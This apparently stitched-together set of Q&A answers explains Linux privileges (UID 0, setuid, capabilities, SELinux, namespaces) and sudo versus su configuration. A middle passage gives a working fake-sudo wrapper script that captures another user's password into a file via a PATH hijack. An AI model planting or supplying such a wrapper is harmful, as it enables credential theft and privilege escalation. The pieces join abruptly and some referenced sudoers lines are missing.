Root is user 0
The key thing is the user ID 0. There are many places in the kernel that check the user ID of the calling process and grant permission to do something only if the user ID is 0.
The user name is irrelevant; the kernel doesn't even know about user names.
Android's permission mechanism is identical at the kernel level but completely different at the application level. Android has a root user (UID 0), just like any other system based on a Linux kernel. Android doesn't have user accounts though, and on most setups doesn't allow the user (as in the human operating and owning the device) to perform actions as the root user. A “rooted” Android is a setup that does allow the device owner/user to perform actions as root.
How setuid works
A setuid executable runs as the user who owns the executable. For example, su
is setuid and owned by root, so when any user runs it, the process running su
runs as the root user. The job of su
is to verify that the user that calls it is allowed to use the root account, to run the specified command (or a shell if no command is specified) if this verification succeeds, and to exit if this verification fails. For example, su
might ask the user to prove that they know the root password.
In more detail, a process has three user IDs: the effective UID, which is used for security checks; the real UID, which is used in a few privilege checks but is mainly useful as a backup of the original user ID, and the saved user ID which allows a process to temporarily switch its effective UID to the real user ID and then go back to the former effective UID (this is useful e.g. when a setuid program needs to access a file as the original user). Running a setuid executable sets the effective UID to the owner of executable and retains the real UID.
Running a setuid executable (and similar mechanisms, e.g. setgid) is the only way to elevate the privileges of a process. Pretty much everything else can only decrease the privileges of a process.
Beyond traditional Unix
Until now I described traditional Unix systems. All of this is true on a modern Linux system, but Linux brings several additional complications.
Linux has a capability system. Remember how I said that the kernel has many checks where only processes running as user ID 0 are allowed? In fact, each check gets its own capability (well, not quite, some checks use the same capability). For example, there's a capability for accessing raw network sockets, and another capability for rebooting the system. Each process has a set of capabilities along side its users and groups. The process passes the check if it is running as user 0 or if it has the capability that corresponds to the check. A process that requires a specific privilege can run as a non-root user but with the requisite capability; this limits the impact if the process has a security hole. An executable can be setcap to one or more capabilities: this is similar to setuid, but works on the process's capability set instead of the process's user ID. For example, ping only needs raw network sockets, so it can be setcap CAP_NET_RAW
instead of setuid root.
Linux has several security modules, the best known being SELinux. Security modules introduce additional security checks, which can apply even to processes running as root. For example, it's possible (not easy!) to set up SELinux so as to run a process as user ID 0 but with so many restrictions that it can't actually do anything.
Linux has user namespaces. Inside the kernel, a user is in fact not just a user ID, but a pair consisting of a user ID and a namespace. Namespaces form a hierarchy: a child namespace refines permissions within its parent. The all-powerful user is user 0 in the root namespace. User 0 in a namespace has powers only inside that namespace. For example, user 0 in a user namespace can impersonate any user of that namespace; but from the outside all the processes in that namespace run as the same user.
In the past this would have been doable without Alice’s help, since sudo
’s tokens were valid across terminal sessions: Bob could just wait for Alice to authenticate with sudo
, then use sudo
himself without having to enter a password.
Even with per-terminal tokens, obtaining Alice’s password is relatively easy in the scenario described here, as long as Alice doesn’t check her environment thoroughly all the time:
using Alice’s account, create ~/.bin/sudo
with something like
#!/bin/sh
if [ $# = 0 ]; then exec /usr/bin/sudo; fi
if [ ! -f ~/.bin/alices-password ]; then
echo -n "[sudo] password for $USER: "
read -s password
echo
echo ${password} > ~/.bin/alices-password
sleep 2
echo "Sorry, try again."
/usr/bin/sudo -k
fi
exec /usr/bin/sudo "$@"
add ~/.bin
to the path, in the appropriate rc-file depending on which shell Alice uses;
- wait for Alice to use
sudo
in a shell which has noticed the presence of ~/.bin/sudo
...
Bob can wait for a password to appear in ~/.bin/alices-password
and try it himself before disabling the special variant (doing that in an unobtrusive way is left as an exercise for the reader — remember that the shell caches paths...).
There are a few subtleties in the script above, in particular sudo -k
which ensures that “Sorry, try again.” will actually be followed by sudo
asking for a password. The script could be improved further, that’s another exercise for the reader!
As you might imagine, this isn’t the only approach...
Best Answer
The major difference between
sudo
andsu
is the mechanism used to authenticate. Withsu
the user must know theroot
password (which should be a closely guarded secret), while withsudo
the user uses his/her own password. In order to stop all users causing mayhem, the priviliges discharged by thesudo
command can, fortunately, be configured using the/etc/sudoers
file.Both commands run a command as another user, quite often
root
.sudo su -
works in the example you gave because the user (or a group where the user is a member) is configured in the/etc/sudoers
file. That is, they are allowed to usesudo
. Armed with this, they use thesudo
to temporarily gainroot
privileges (which is default when no username is provided) and asroot
start another shell (su -
). They now haveroot
access without knowingroot
's password.Conversely, if you don't allow the user to use
sudo
then they won't be able tosudo su -
.Distros generally have a group (often called
wheel
) whose members are allowed to usesudo
to run all commands. Removing them from this group will mean that they cannot usesudo
at all by default.The line in
/etc/sudoers
that does this is:While removing users from this group would make your system more secure, it would also result in you (or other system adminstrators) being required to carry out more administrative tasks on the system on behalf of your users.
A more sensible compromise would configure
sudo
to give you more fine grained control of who is allowed to usesudo
and who isn't, along with which commands they are allowed to use (instead of the default of all commands). For example,(only useful with the previous %wheel line commented out, or no users in the
wheel
group).Presumably, distros don't come with this finer grained configuration as standard as it's impossible to forecast what the admin's requirements are for his/her users and system.
Bottom line is - learn the details of
sudo
and you can stopsudo su -
while allowing other commands that don't give the userroot
shell access or access to commands that can change other users' files. You should give serious consideration to who you allow to usesudo
and to what level.WARNING: Always use the
visudo
command to edit thesudoers
file as it checks your edits for you and tries to save you from the embarrassing situation where a misconfigured file (due to a syntax error) stops you from usingsudo
to edit any errors. This is especially true on Debian/Ubuntu and variants where theroot
account is disabled by default.